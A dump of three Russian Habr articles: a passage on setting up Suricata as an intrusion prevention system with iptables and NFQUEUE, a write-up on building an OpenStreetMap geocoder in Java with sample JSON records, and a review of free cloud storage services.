Начиная с версии 1.4, Suricata умеет работать в качестве IPS, используя zero copy режим системы **AF\_PACKET**, но с некоторыми ограничениями. Система должна работать в качестве шлюза с двумя сетевыми интерфейсами. Если пакет попадает под DROP правило, то он просто не пересылается на второй интерфейс. Плюсы zero copy — в скорости обработки пакетов, что несомненно понравится провайдерам, которые в случае бездействия рискуют нарваться на штрафы Роскомнадзора.
Установка Suricata на Ubuntu описана на официальной [Wiki](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Ubuntu_Installation_-_Personal_Package_Archives_(PPA))
#### Рассмотрим пример с NFQ на WEB сервере
Настраиваем первоначальное правило iptables:
```
# в очередь направляются пакеты, которые идут на 80-й порт и **НЕ** попадают под маску 0x1/0x1 для исключения бесконечного цикла
iptables -t mangle -I PREROUTING -p tcp -m tcp --dport 80 -m mark ! --mark 0x1/0x1 -j NFQUEUE --queue-num 0
```
*Используем mangle, т.к. эта таблица является одной из первых на пути пакетов.*
Опция **--queue-bypass** появилась в ядре **2.6.38** и позволяет пропускать все пакеты в очереди при отсутствии слушающего NFQUEUE приложения. Т.е. если Suricata не запущена, то все пакеты, попадающие под правила, пойдут дальше как ни в чем не бывало.
Опция **--queue-num** задаёт номер очереди.
**-m mark! --mark 0x1/0x1** игнорирует все пакеты, которые уже были обработаны Suricata
Настраиваем Suricata в режиме IPS (относительно стандартной конфигурации, которая идет в пакете):
```
nfq:
mode: repeat
# настройка маски для обработанных пакетов
repeat-mark: 1
repeat-mask: 1
... ... ...
default-rule-path: /etc/suricata
rule-files:
- test.rules
# остальные правила можно закомментировать
```
Правило Suricata, которое реагирует на текст TEST в пакете (/etc/suricata/test.rules):
```
pass tcp any any -> any any (content: "TEST"; msg: "TEST was marked!"; nfq_set_mark:0x2/0xffffffff; sid:2455;)
```
*sid должен быть уникальным*
В совокупности с настройкой Suricata и правилом, маркировка и маска «плохого» пакета будут: **0x02/0xfe** (0xff XOR 0x01 = 0xfe)
Запускаем Suricata:
```
suricata -q 0 -c /etc/suricata/suricata.yaml
```
Дальнейший разбор пакетов правилами iptables:
```
# детектируем пакет, на который сработало правило
iptables -t mangle -A PREROUTING -p tcp -m tcp --dport 80 -m mark --mark 0x2/0xfe -j LOG --log-prefix "TEST packet detected"
```
После выполнения на удаленном клиенте:
```
curl http://221.141.200.189/TEST
```
В /var/log/syslog появится запись вида:
```
Sep 9 14:23:06 server kernel: [ 2897.581561] TEST packet detectedIN=eth0 OUT= MAC=c5:d5:08:8f:2d:be:ce:df:3e:af:8c:06:08:00 SRC=97.17.34.191 DST=221.141.200.189 LEN=133 TOS=0x00 PREC=0x00 TTL=64 ID=57685 DF PROTO=TCP SPT=33949 DPT=80 WINDOW=115 RES=0x00 ACK PSH URGP=0 MARK=0x3
```
Не стоит забывать, что Suricata маркирует лишь пакеты. Чтобы правило сработало на всё соединение в целом, необходимо его промаркировать:
```
# Копируем маркировку пакетов в маркировку соединений
iptables -t mangle -A PREROUTING -m mark --mark 0x2/0xfe -j CONNMARK --save-mark
# детектируем соединение, на которое сработало правило
iptables -t mangle -A PREROUTING -m connmark --mark 0x2/0xfe -j LOG --log-prefix "TEST connection detected"
# И наоборот, копируем маркировку с соединения на все пакеты
iptables -t mangle -A PREROUTING -m connmark --mark 0x2/0xfe -j CONNMARK --restore-mark
```
Если обратить внимание на замечательное дополнение к iptables как RAW DNAT/SNAT, то при помощи Suricata можно направлять разные типы трафика на разные адреса назначения. Тут тоже кроются несколько нюансов как потеря целостности соединения, но это легко решить использованием проксирующего ПО, который сможет налету восстанавливать соединения.
Кроме того, Suricata умеет модифицировать пакеты «на лету». Например:
```
pass tcp any any -> any any (content: "TEST"; replace:"SETS"; msg: "TEST was marked!"; nfq_set_mark:0x2/0xffffffff; sid:2455;)
```
Заменит в пакете текст TEST на SETS, но при одном условии — заменяющие данные должны быть точно такого же размера, что и оригинал. В данном случае команда:
```
curl -v http://221.141.200.189/TEST
```
сохранит в лог WEB сервера:
```
97.17.34.191 - - [09/Sep/2013:14:51:04 +0400] "GET /SETS HTTP/1.1" 200 151 "-" "curl/7.26.0"
```
#### Рассмотрим пример с AF\_PACKET на шлюзе
Здесь всё проще. Конфигурация suricata.yaml должна выглядеть приблизительно так:
```
af-packet:
- interface: eth0
threads: 1
defrag: yes
cluster-type: cluster_flow
cluster-id: 98
copy-mode: ips
copy-iface: eth1
buffer-size: 64535
use-mmap: yes
- interface: eth1
threads: 1
cluster-id: 97
defrag: yes
cluster-type: cluster_flow
copy-mode: ips
copy-iface: eth0
buffer-size: 64535
use-mmap: yes
```
*Количество потоков обработчика должно быть не более единицы для ядер старше 3.6, иначе увеличение количества потоков вызовет бесконечный цикл.*
*MTU на обоих сетевых интерфейсах должно быть идентичным.*
Запускаем Suricata:
```
suricata -c /etc/suricata/suricata.yaml --af-packet
```
#### Заключение
Suricata — гибкий инструмент по обработке пакетов, который позволяет менять маршруты в зависимости от содержания пакета, детектировать атаки и предотвращать попадание «плохих» пакетов в систему (например DROP'ать или подменять пакеты, пока они не дошли до WEB сервера). Возможно уже сейчас ~~правительство~~ провайдеры используют Suricata в качестве DPI.
Для написания статьи использовалась информация с [блога](http://home.regit.org) одного из разработчиков Suricata и официальная [Wiki](https://redmine.openinfosecfoundation.org/projects/suricata/wiki). | https://habr.com/ru/post/192884/ | null | ru | null |
# Геокодер OSM на Java
Привет, дорогие читатели хабра. В этой статье поговорим
* Про адреса и хранилища данных с нечеткой схемой
* Про обработку геоданных на java, а именно про Java Topology Suite
* Про стоимость «простоты» для разработчика
* Про pure Java nosql документную бд / движок полнотекстового поиска — Elasticsearch.
##### Для читателей хаба Java, незнакомых с OSM
OSM — это открытая геопространственная база данных с мировым весьма подробным покрытием.
Для пользователя — это просто карта, которую можно посмотреть on-line, загрузить на навигатор, телефон, отредактировать, распечатать и вообще использовать любым другим мыслимым образом, в том числе получая от этого коммерческую выгоду.
С точки зрения разработчика — эта весьма своеобразная база данных.
* В OSM нет четкой схемы данных, нет привычного для ГИС деления на слои. Тип объекта, его свойства, а в некотором смысле и геометрия, задаются через теги — текстовые пары ключ-значение.
* Геометрия хранится лишь для точек. Линия — это массив id'шников точек. Полигон — набор ссылок на линии с указанием, в какую из границ входит линия — внутреннюю или внешнюю.
* Это позволяет сообществу лепить новые типы данных на лету. Хотите отмечать тротуары — договаривайтесь о сочетании тегов и вперед. Все это без драм (ну почти) с выпиливанием каким-то непонятным модератором милых вашему сердцу данных с комментарием «вы захламляете карту, ваш труд никому не нужен».
Естественно, для разработчиков такая вольница запросто превращается в кошмар.
##### Адреса
Большинство из нас проживает жизнь сменив 1-2 города, и мы просто не успеваем обратить внимание на разнообразие схем почтовой адресации.
Начинается с малого — с записи адреса: от большего к меньшему или от меньшего к большему.
Потом выясняется, что в некоторых городах не используют в адресе улицу:
дом 521, Котор, Черногория или РФ, поселок Энергетик дом 15.
Что у одного дома может быть несколько адресов:
Лучший город земли, улица Прямая, 22 и у него же Лучший город земли, улица Перпендикулярная, 12
Что двойная адресация может быть не только у угловых домов и что 2 адреса — это далеко не предел.
Таллин Каштановая улица 13, 15, 17
Таллин Вишневая улица 1, 3
\*Пример вполне себе из жизни, просто я забыл оригинальные названия улиц.
Что адресоваться могут не только сами дома, но и подъезды, а то и внешне никак не проявляющие себя секции дома. (Это как раз из примера с Таллином — адреса по одной улице внутри одного здания — это внутренние секции, принадлежавшие когда-то разным владельцам).
Ну и наконец, всякая экзотика как
Набережные Челны, 11/1
Это 11 жилой комплекс, дом 1. На самом деле, дома в НЧ имеют также привычные нам адреса вида Улица Дом, но местные жители ими не пользуются.
Теперь умножаем это на:
4 принципиально разных способа указания Населенного пункта в OSM
3-4 способа указания множественной адресации
3 способа указания улицы для адреса
Причем, если вы вносите данные, вам достаточно просто пользоваться парой схем из этого зоопарка. Если вы хотите написать приличный геокодер, вам мало просто помнить о существовании этого зоопарка, вам необходимо его «посчитать».
К примеру, давайте посмотрим, что надо сделать чтобы сопоставить дому — город.
Начнем с родины проекта — Великобритании.
Вот к примеру дом в Вестминстере. [www.openstreetmap.org/way/46138969](http://www.openstreetmap.org/way/46138969)
```
addr:housenumber 1
addr:street Derby Gate
building yes
```
Сам Вестминстер отмечен вот так:
```
name Westminster
name:ru Вестминстер
place town
```
Что еще важно помнить, дак это то, что это практически самый центр Лондона. Лондон по сути состоит из нескольких десятков городков поменьше. К какому городу отнести дом? К Лондону или к Вестминстеру?
На самом деле — однозначно ответить на этот вопрос нельзя, для здания не указано к какому городу он формально относится. Но, для меня, например, очевидно что хороший геокодер должен найти этот дом как по запросу «London, Derby Gate, 1» так и по запросу «Westminster, Derby Gate, 1» так и «London, Westminster, Derby Gate, 1»
Как мне видится реализация: я сопоставляю каждому дому (адресной точке) все полигональные границы в которые она попадает (сюда попадут границы города если они указаны) и массив окрестных населенных пунктов, сюда попадут London как nearest city, и Westminster, как nearest town ну и еще их соседи.
Вот как это выглядит в схеме json данных для elasticsearch
```
//Сюда попадут окрестные населенные пункты
"nearby_places": {
"properties": {
"id": {
"type": "string"
},
"place": {
"type": "string"
},
"name": {
"type": "string"
},
"alt_names": {
"type": "string"
}
}
},
//Сюда попадут населенные пункты для которых будет найдено точное совпадение, либо по имени, либо по полигональной границе
"locality_name": {
"type": "string"
}
```
Соответственно, при поиске, можно будет найти дом по запросу с любым из городов, разница будет лишь в релевантности точно сопоставленного города и соседних городов. Каждое «нужно» это 1 или 2 пространственных join'а.
##### Геокодер
Как высказался один известный осмер [Zverik](https://habrahabr.ru/users/zverik/)
> «В последнее время, все только тем и заняты что делают очередной геокодер».
Я не стану исключением: все пишут геокодер, чем я хуже? Я тоже хочу ~~велосипед~~ геокодер.
Чего вообще люди хотят от OSM касательно адресов?
1. Выгрузите мне адреса в csv или sqlite
2. Геокодируйте мне, пожалуйста, список из 100500 адресов
3. Онлайн сервис геокодирования (онлайн геокодеры в OSM есть, поэтому этот пункт не на первом месте)
4. Я внес адрес для домика или организации, почему я не могу найти его через онлайн геокодер?
5. Я хочу свой локальный поисковик с данными OSM, что посоветуете.
Ответ обычно начинается так:
1. Вам понадобится postgres, postgis (эту часть квеста обычно проходят 90%)
2. Вам понадобится загрузить данные OSM в эту бд, используя osmosis или osm2pgsql, если вдруг вы решили провернуть такой фокус в масштабах планеты, то запаситесь оперативкой (16-32гига) и терпением (несколько суток, если у вас много оперативы, и несколько недель, если оперативки мало). По странам тоже не очень быстро и не очень лояльно к железу.
3. Обработайте данные скриптами на постгрешке. (В зависимости от желаемого результата, тут остается 10% — 20%, желающих связываться с обработкой данных OSM-стоиков.)
4. Добавьте поиск по бд с адресами или выгрузите нужное вам в csv/json
Целиком весь квест проходят единицы. Добавление каждой новой фишки к геокодеру оборачивается часами, а то и сутками на обработку геопространственных join'ов постгрешкой, и гигабайтами оперативки, необходимой для загрузки новых, требующихся вам данных в постгрешку.
И когда вы понимаете, что в РФ принято считать город для дома по попаданию в полигон города, а в UK — по близости точек населенных пунктов, соответсвенно, вам нужны и границы городов, принятые в РФ, и полигоны Вороного + соседи для Великобритании, и все это вперемешку. Глаза наливаются кровью, а очередная схема адресации, основанная на куче отношений, вызывает шквал эмоций.
Геокодирование можно рассматривать как две практически независимые задачи:
1. Для всех объектов (адресов, улиц, городов, точек интереса) получить данные: границы городов, соседние точки городов, окрестные улицы.
2. Организовать по этим данным поиск. В простейшем случае — это просто полнотекстовый поиск.
Я сконцентрировался на решении задачи 1 — получить данные, в пригодном для поисковой индексации виде. В принципе, отдав эти данные для индексации google или yandex вторую часть геокодера можно зааутсорсить.
##### Попытка №1
Первая моя попытка здесь. [github.com/kiselev-dv/osm-addresses-pgsql](https://github.com/kiselev-dv/osm-addresses-pgsql)
Я загружаю упрощенные данные в постгрес, после чего, прибегая к различным ухищрениям, чтобы уложиться в разумное время, обрабатываю их.
В процессе разработки оказалось, что быстрее и гибче обработать геометрию на java и загружать в постгрес уже готовую геометрию.
##### Вычислительная сложность в вычислительной геометрии
Середину статьи обычно никто не читает, надеюсь, явная тавтология взбодрит заскучавшего читателя.
Почему на загрузку 2 Гигабайт данных, запакованных в зипованый xml, требуется 6+ Гигабайт оперативки?
Данные OSM не содержат полной геометрии, единственным объектом OSM, который имеет географическую привязку, является точка. (Просто торжество нормализации данных) Соответсвенно, чтобы получить геометрию, вам необходио загрузить точки по спискам id'шников из линий. Собственно основной объем памяти съедает индекс точек. Чтобы не лазить лишний раз на диск, для них обычно сохраняют и теги. Сейчас дамп планеты содержит порядка 3х миллиардов точек, добавьте сюда накладные расходы на хранение точек в индексе, и для обычного домашнего компьютера замаячит JavaHeapSpace.
Допустим, нам удалось исхитриться и загрузить все это в бд, собрать геометрические индексы. Как ускорить выполнение запросов?
Основная часть работы — это Point Location Problem. То есть на примере РФ нам нужно посчитать вхождение полутора миллионов точек в полмиллиона полигонов границ. Важно также понимать, что, к примеру, граница РФ содержит 40 000 сегментов. Весь миллион точек надо проверить на вхождение в границу. Несмотря на существование индекса, сложность O(N \* M). Постгис быстро, воспользовавшись индексом, определит, что точка n из миллиона адресных точек возможно попадает в границы РФ, после чего, определяя точно ли точка внутри полигона, будет рассчитывать M скалярных произведений, где M — это количество сегментов полигона границы.
К моменту осознания этого факта я уже делал практически всю подготовительную работу: парсил полигоны административных границ, получал и упрощал геометрию улиц, получал геометрию для домиков с адресами на java, используя Java Topology Suite. [www.vividsolutions.com/jts/jtshome.htm](http://www.vividsolutions.com/jts/jtshome.htm) Тоесть постгис я по сути использовал для расчета пространственных join'ов ну и как общий io фреймворк.
Еще одно узкое место работы с postgis — сложность распараллелить выполнение запроса. В данном случае у меня не сотни запросов в секунду, а 1 толстый запрос на несколько часов.
##### Самый лучший велосипед, попытка №2
На самом деле, расписывая сложности обработки данных, я немного кривлю душой. К примеру, сообщество OSM вполне себе справляется с конвертацией карт в форматы различных навигационных програм. Делает это в ежедневном режиме, используя как выделенные сервера, так и обычные домашние компьютеры участников.
При этом, сообщество РФ обрабатывет данные OSM с учетом местной специфики, сообщество Германии — с учетом своей.
Во второй попытке, я решил пойти схожим путем. Я решил написать приложение которое было бы под силу использовать большинству OSM'еров на домашних пк.
Что для этого требуется:
1. Самое главное — простота установки. Никто не станет настраивать для вас окружение, устанавливать дополнительные бибилиотеки, или движок БД. (Прощай postgres)
2. Возможность настройки. Если вы хотите, чтобы сообщество вам помогало, дайте сообществу возможность учесть и реализовать местные традиции и практики.
3. Разнообразие применений. Опять же, дайте возможность местному комьюнити решать при помощи вашего инструмена широкий круг задач. Дайте возможность делать выгрузки адресного реестра в том виде в котором он нужен местному сообществу.
Т.к. некоторый опыт после попытки №1 у меня уже был, мне оставалось частично повторить процесс реализованый для postgis используя только java. По сути, мне нужны лишь пространственные индексы RTree и QuadTree, которые реализованы в JTS. И пара утилитарных методов для работы с геометрией, как то разделение геометрии и точка на линии.
Итак, я обрабатываю данные OSM в 2 стадии.
1 Получаю геометрию из файла OSM, режу ее на куски — полосы шириной 0.1 градус. Это позволяет естественным образом разбить задачу на части и попутно упрощает геометрию границ. То есть вместо 1 границы РФ с 40 000 сегментов я получаю 1500 кусочков, в каждом из которых пара десятков сегментов. Количество полигонов границ на каждую полосу также выходит в районе нескольких десятков.
2 На второй стадии я рассчитываю попадание точек в полигоны границ, ищу ближайшие улицы, ближайшие города. Каждая «полоса» обрабатывается отдельно, соответсвенно, этот этап распараллелен между потоками / нодами.
В результате я получаю json описание для точек интереса, улиц, городов, границ и домов.
**Примерно так выглядит описание POI**
```
{
"id": "poipnt-3372930671-n600379459",
"ftype": "poipnt",
"timestamp": "2014-05-14T15:22:11.785Z",
"poiTypes": ["police"],
"boundaries": {
"index_name": "Саров, Нижегородская область, Российская Федерация",
"text": "Российская Федерация, Нижегородская область, Саров",
"langs": [],
"longText": "Российская Федерация, Нижегородская область, ЗАТО Саров, Саров",
"boundariesHash": -410546539,
"parts": [{
"lvl": "boundary:2",
"names": {
//Здесь был список названий РФ на всех мыслимых языках
"int_name": "Russia",
"official_name": "Российская федерация",
"name": "Россия"
},
"lnk": "admbnd-2864649470-r60189",
"name": "Российская Федерация",
"lvl-size": 130
}, {
"lvl": "boundary:4",
"names": {
"name:en": "Nizhny Novgorod Oblast",
"name:ru": "Нижегородская область",
"name": "Нижегородская область",
"name:de": "Oblast Nischni Nowgorod"
},
"lnk": "admbnd-3018389977-r72195",
"name": "Нижегородская область",
"lvl-size": 110
}, {
"lvl": "boundary:6",
"names": {
"name:ru": "ЗАТО Саров",
"name": "ЗАТО Саров",
"official_name": "ЗАТО Город Сарод"
},
"lnk": "admbnd-3704710510-r2031968",
"name": "ЗАТО Саров",
"lvl-size": 90
}, {
"lvl": "place:town",
"names": {
"name:hu": "Szarov",
"name:en": "Sarov",
"name:ru": "Саров",
"name:pl": "Sarow",
"name": "Саров",
"name:de": "Sarow"
},
"lnk": "plcbnd-3118671325-r1428992",
"name": "Саров",
"lvl-size": 70
}]
},
"properties": {
"name": "УВД",
"amenity": "police"
},
"type": "Feature",
"metainfo": {
"id": 600379459,
"type": "node"
},
"geometry": {
"type": "Point",
"coordinates": [43.323823, 54.935209]
}
}
```
**Примерно так выглядит описание дома (адресной точки)**
```
{
"id": "adrpnt-0642964090-w129096772",
"ftype": "adrpnt",
"timestamp": "2014-05-14T15:31:38.778Z",
"nearbyStreets": [{
"id": "hghway-3750745956-w128994466",
"properties": {
"highway": "unclassified",
"name": "Полярная улица"
}
}, {
"id": "hghway-1683350308-w129293134",
"properties": {
"kladr:user": "87005000001000100",
"surface": "concrete",
"highway": "tertiary",
"name": "улица Набережная Дежнёва",
"oneway": "no"
}
}, {
"id": "hghway-0059099168-w129293131",
"properties": {
"highway": "unclassified",
"name": "Полярная улица"
}
}, {
"id": "hghway-0069632087-w129293121",
"properties": {
"kladr:user": "87005000001000100",
"surface": "concrete",
"highway": "tertiary",
"name": "улица Набережная Дежнёва",
"oneway": "no"
}
}, {
"id": "hghway-4111943004-w128995822",
"properties": {
"highway": "residential",
"name": "Чукотская улица"
}
}],
"properties": {
"building": "yes",
"building:levels": "2",
"sport": "swimming",
"amenity": "swimming_pool",
"addr:street": "улица Набережная Дежнёва",
"addr:housenumber": "14"
},
"nearestCity": {
"id": "plcdln-2842041450-n1575069719",
"properties": {
"name:fr": "Providenia",
"addr:postcode": "689251",
"name:ru": "Провидения",
"name:en": "Provideniya",
"name:nl": "Providenia",
"name:pl": "Prowidienija",
"name:it": "Providenija",
"name:es": "Providéniya",
"addr:country": "RU",
"name": "Провидения",
"name:de": "Prowidenija",
"addr:region": "Чукотский автономный округ",
"place": "town"
}
},
"type": "Feature",
"addresses": [{
"index_name": "дом 14, улица Набережная Дежнёва, Провидения, Провиденский район, Чукотский автономный округ, Российская Федерация",
"text": "Российская Федерация, Чукотский автономный округ, Провиденский район, Провидения, улица Набережная Дежнёва, дом 14",
"langs": [],
"longText": "Российская Федерация, Дальневосточный федеральный округ, Чукотский автономный округ, Провиденский район, Провидения, улица Набережная Дежнёва, дом 14",
"parts": [{
"lvl": "postcode",
"name": "",
"lvl-size": 55
}, {
"lvl": "boundary:2",
"names": {
//куча названий России
},
"lnk": "admbnd-2864649470-r60189",
"name": "Российская Федерация",
"lvl-size": 130
}, {
"lvl": "boundary:3",
"names": {
"name:sv": "Fjärran österns federala distrikt",
"name:en": "Far Eastern Federal District",
"name:ru": "Дальневосточный федеральный округ",
"name:ja": "極東連邦管区",
"name:es": "Distrito federal del Lejano Oriente",
"name:de": "Föderationskreis Ferner Osten",
"short_name": "ДФО",
"name:vi": "Vùng liên bang Viễn Đông",
"name:pt": "Distrito Federal Oriental",
"name:fr": "District fédéral extrême-oriental",
"name:uk": "Далекосхідний федеральний округ",
"name:nl": "Federaal District Verre Oosten",
"name:zh": "遠東聯邦管區",
"name:it": "Distretto Federale dell'Estremo Oriente",
"name:pl": "Dalekowschodni Okręg Federalny",
"name": "Дальневосточный федеральный округ"
},
"lnk": "admbnd-2969582277-r1221185",
"name": "Дальневосточный федеральный округ",
"lvl-size": 120
}, {
"lvl": "boundary:4",
"names": {
"name:sv": "Tjuktjien",
"name:en": "Chukotka Autonomous Okrug",
"name:ru": "Чукотский автономный округ",
"name:ja": "チュクチ自治管区",
"name:es": "Chukotka",
"name:de": "Autonomer Kreis der Tschuktschen",
"short_name": "Чукотка",
"name:vi": "Khu tự trị Chukotka",
"name:fr": "Tchoukotka",
"name:uk": "Чукотський автономний округ",
"name:nl": "Tsjoekotka",
"name:zh": "楚科奇自治区",
"name:it": "Circondario autonomo della Čukotka",
"name:pl": "Czukocki Okręg Autonomiczny",
"int_name": "Chukotka Autonomous Okrug",
"name": "Чукотский автономный округ"
},
"lnk": "admbnd-4289483775-r151231",
"name": "Чукотский автономный округ",
"lvl-size": 110
}, {
"lvl": "boundary:6",
"names": {
"name:ru": "Провиденский район",
"name": "Провиденский район"
},
"lnk": "admbnd-2373015928-r1949882",
"name": "Провиденский район",
"lvl-size": 90
}, {
"lvl": "place:town",
"names": {
"name": "Провидения"
},
"lnk": "plcbnd-3753535756-w129289823",
"name": "Провидения",
"lvl-size": 70
}, {
"lvl": "street",
"strtUID": -30263303,
"lnk": "hghway-1683350308-w129293134",
"names": {
"name": "улица Набережная Дежнёва"
},
"name": "улица Набережная Дежнёва",
"lvl-size": 20
}, {
"lvl": "hn",
"names": {},
"lnk": "adrpnt-0642964090-w129096772",
"name": "дом 14",
"lvl-size": 10
}],
"addr-scheme": "regular"
}],
"metainfo": {
"id": 129096772,
"type": "way",
"fullGeometry": {
"type": "Polygon",
"coordinates": [
[
[-173.2301084, 64.4217729],
[-173.229167, 64.4220204],
[-173.2293185, 64.4221278],
[-173.2298729, 64.421982],
[-173.2299223, 64.4220171],
[-173.2302113, 64.4219379],
[-173.2300846, 64.4218517],
[-173.2301819, 64.421825],
[-173.2301084, 64.4217729]
]
]
}
},
"geometry": {
"type": "Point",
"coordinates": [-173.22972832, 64.42195376]
}
}
```
Промежуточный формат хранения данных — json (запакованный gzip). Это, во-первых, сильно упрощает дебаг. Я могу смотреть промежуточные результаты при помощи простых (z)cat, (z)grep. Во вторых, упрощает жизнь сторонним разработчикам, если таковые найдуться.
На выходе я генерирую csv для связки postgis + sphynx (возможно, постгис тут лишний, но на нем в этой связке удобно делать обратный геокодер) и json для elasticsearch (обратный геокодинг можно выполнить средствами самого elasticsearch).
На обработку РФ уходит примерно 2 часа, при 6 Гб оперативки и примерно 5Гб дискового пространства. Можно ужаться в меньший объем ram пожертвовав временем. Известные мне аналоги тратят двое суток.
Многие участки можно кастомизировать (количество расширений я планирую увеличить) используя свои реализации классов, предавая их из расширений на groovy.
Приложение для обработки данных представляет собой 1 исполняемый jar и не требует от вас установки дополнительных зависимостей.
На данный момент у меня довольно мудреный синтаксис для запуска, с множеством параметров командной строки, в дальнейшем я планирую добиться запуска в 1 строку java -jar gazetteer.jar russia.config а еще лучше в качестве рабочей ноды кластера.
Ссылка на велосипед [github.com/kiselev-dv/gazetteer](https://github.com/kiselev-dv/gazetteer)
Я не силен в поисковых технологиях, поэтому сам поиск по загруженным в elasticsearch пока хромает. Если на хабре есть те, кому интересно поработать с такого рода данными и поэкспериметировать с настройками поисковика по геоданным — добро пожаловать.
Проект состоит из двух частей.
Gazetteer — обработка данных.
GazetteerWeb — апи поверх elasticsearch (пока на tomcat — в дальнейшем планирую использовать netty) | https://habr.com/ru/post/222875/ | null | ru | null |
# Облако в штанах
В сети сейчас большое количество различных т.н. «облачных» систем хранения данных. Созданы они, в большинстве своём, для удобства доступа к данным для рядового пользователя из любого конца земного шара и с любого устройства, в том числе и мобильного.
Рынок «облачных хранилищ» очень насыщен: есть как зарубежные решения, так и отечественные.
Например, одни из самых известных зарубежных это: [Dropbox.com](https://www.dropbox.com), [GoogleDrive](https://drive.google.com/), [Microsoft OneDrive](https://onedrive.live.com/)
Из отечественных: [Yandex.Диск](https://disk.yandex.ru), [Облако Mail.ru](https://cloud.mail.ru/)
У каждого из вышеперечисленного есть как преимущества, так и недостатки.
Так, например, Dropbox **бесплатно** выдаст Вам всего 2Гб дискового пространства, что по сравнению с бесплатными 10Гб от Yandex.Диск явно меньше, но зато у Dropbox есть система контроля версий файлов, что для кого-то может оказаться очень важным.
Mail.Ru даст Вам 100Гб (давали даже 1Тб, если Вы устанавливаете их ПО, но вроде эту «халяву» прикрыли) но программное обеспечение не работает под консолью Linux, нет даже поддержки WebDAV.
**(UPD.: В комментариях писали, что по адресу: <https://webdav.cloud.mail.ru/> есть BETA-версия WebDAV, но как оно будет работать сейчас и как оно будет работать дальше — не известно. Используйте на свой страх и риск)**.
Для кого-то эти тонкости не важны, а кому-то принципиально необходимы, чтобы, например, делать в облако резервные копии своих фотографий с помощью командной строки домашнего роутера.
Так же если на MAIL.RU файлы загружать через web-морду, то работает ограничение на его максимальный объём: 2Гб, а если загружать с помощью родного клиента, то max размер файла может быть 32Гб. Критично это или нет — вопрос индивидуальный.
Лично я отношусь к той категории пользователей, которым нужно как можно больше бесплатного пространства для хранения и чтобы была возможность работать с хранилищем в Linux без графической оболочки. Большим плюсом будет наличие возможности подцепиться к этому хранилищу с мобильного устройства (смартфона/планшета), ведь нам же нужно «облако штанах».
Что же подойдёт под такие критерии? Из бесплатных — не много.
Yandex.Диск бесплатно и навсегда позволит Вам использовать **10Гб** дискового пространства.
Для работы с хранилищем есть специальное программное обеспечение, работающее в linux-консоли: **yandex-disk**
В Debian Linux устанавливается буквально одной командой. [Тут описание установки и использования](http://help.yandex.ru/disk/cli-clients.xml).
Сам я в данный момент пользуюсь им, но мой архив уже дорос до ограничения 10 Гб и свободного места скоро не останется. Хочется чего-то больше.
Итак, наши требования:
~~1 миллион долларов и самолёт до мальдивских островов~~
— Бесплатность;
— Достаточно ёмкое хранилище;
— Возможность загружать файлы больших размеров (не меньше 4 Гигабайт);
— Наличие как минимум клиента для консоли Linux, как максимум ещё и клиент для мобильных устройств.
Кто-то может воскликнуть:
> Дорогой, разверни себе [owncloud](http://owncloud.org/) и пользуйся таким объёмом, который захочешь.
На что я отвечу:
> А где бесплатно найти железо под сервер-хранилище и человека, который будет его администрировать (замена вылетевших дисков, сгоревших блоков питания и т.п.)?
Конечно же я могу найти на какой-нибудь свалке потроха от старых компов, собрать из всего это «сервер» и повесить себе на шею ещё одну железку, которая будет требовать ухода (как будто у меня других дел нет). Ну не бывает так, чтоб всё работало идеально и без сбоев, по закону подлости где-то что-то пойдёт не так, банально ПО ownCloud`а глюканет и в ответственный момент всё посыпется. В общем, хранилище нам нужно как сервис, а не как сервер :) Пускай админит это кто-нибудь другой.
В общем, я тут набросал небольшой список того, что можно получить на более-менее нормальных условиях и бесплатно:
* [Облако Mail.Ru](http://cloud.mail.ru) — **100Гб при регистрации**. Размер файлов до 2GB (через web-интерфейс), до 32GB (через родной клиент).
* [Яндекс.Диск](http://disk.yandex.ru/) — **Максимальный объём диска 10 Гб**, информация хранится на диске бессрочно. Можно подсоединить как папку через родной клиент (есть консольное ПО для Linux) или WebDAV.
* [Диск Google](https://drive.google.com/) — **15Гб бесплатно**. Можно подсоединить как папку через родной клиент. В Linux можно подсоединить через WebDAV.
* [Windows Live SkyDrive (OneDrive)](http://skydrive.live.com) — **Бесплатно 7Гб** для новых аккаунтов, 25Gb для старых. Есть родной клиент для Windows, Mac, iPad и мобильных устройств. Ограничение на размер файла 100МБ. В Linux можно подсоединить через WebDAV.
* [OziBox](http://www.ozibox.com/) — **Бесплатно 100Гб**. Позиционирует себя как альтернатива Drobox'у и Googledrive. Не нашёл поддержки ОС Linux.
* [Amazon S3](http://aws.amazon.com/s3) — **Бесплатные 5Гб** только на один год. Любые данные, большинство платформ. Можно подсоединить через WebDAV
* [Dropbox](http://www.dropbox.com) — **2Гб бесплатно**. Любые данные, большинство платформ. Можно подсоединить как папку через родной клиент. Бесплатное место можно расширить за счёт различных акций.
* [iCloud](https://www.icloud.com/) — **5Гб бесплатно** для пользователей Apple.
* [Box.net](http://www.box.net) — **10Гб бесплатно**. Максимальный размер файла 250Mb. Возможность заливать папками (медлительный Java скрипт). Одноразовый лимит на заливку — 100 файлов, лимит не распространяется на заливку папками. Есть WebDAV.
* [Bitcasa.com](http://Bitcasa.com) — **Бесплатно 20Гб**, увеличить можно за деньги. Ограничение на размер файла при web-доступе: 2Гб. Если родной клиент, то ограничений на размер файла нет. Есть клиент для Linux, но не проверял, консольный ли.
Ещё мне попался ресурс [minus.com](http://minus.com), но это вроде как альтернитива Instagram (только без дурацкого ограничения на соотношение сторон картинки) и не совсем то, что мы ищем.
А так же ещё есть монстроподобное китайское хранилище [YunPan360](http://yunpan.360.cn) Там можно бесплатно получить **36Тб** (терабайт) и дальше его увеличивать за счет выполнения специальных квестов. Некоторые люди накрутили объём хранилища своего аккаунта до 100Тб. Проблема в том, что ПО есть только под Windows и Android. WebDAV нет. Отдельные личности разворачивают виртуалку с Windows и заливают файлы в облако транзитом через виртуалку, но, на мой взгляд, это костыль. В общем, пока нам это не подходит (но аккаунт там на всякий пожарный я всё же завёл).
Итак, вот что может нам подойти из того, что не попало в вышеописанный список:
**Mega.co.nz**
URL: <https://mega.co.nz/>
Она же просто «Мега». Дают бесплатно **50Гб** и есть клиент для Windows. Для Linux и всего остального планируют выпустить клиент чуть позже, но будет ли консольная версия — не известно.
В сети есть альтернативные приложения для работы с Мегой, но все они работают нестабильно, глючат и отваливаются.
Единственное что вроде более-менее стабильно работает, это вот это решение:
<http://megatools.megous.com/>
на моём Debian 7 встало и заработало.
Сервис зарубежный, потому скорость Скачки/Загрузки может меняться в зависимости от географического положения + на Меге есть что-то типа контроля за активностью. Если будете за короткие отрезки времени гонять десятки гигабайт, то временно скорость могут порезать (на 30 минут).
Т.к. моё хранилище заполняется большим количеством маленьких файлов — мне не страшно.
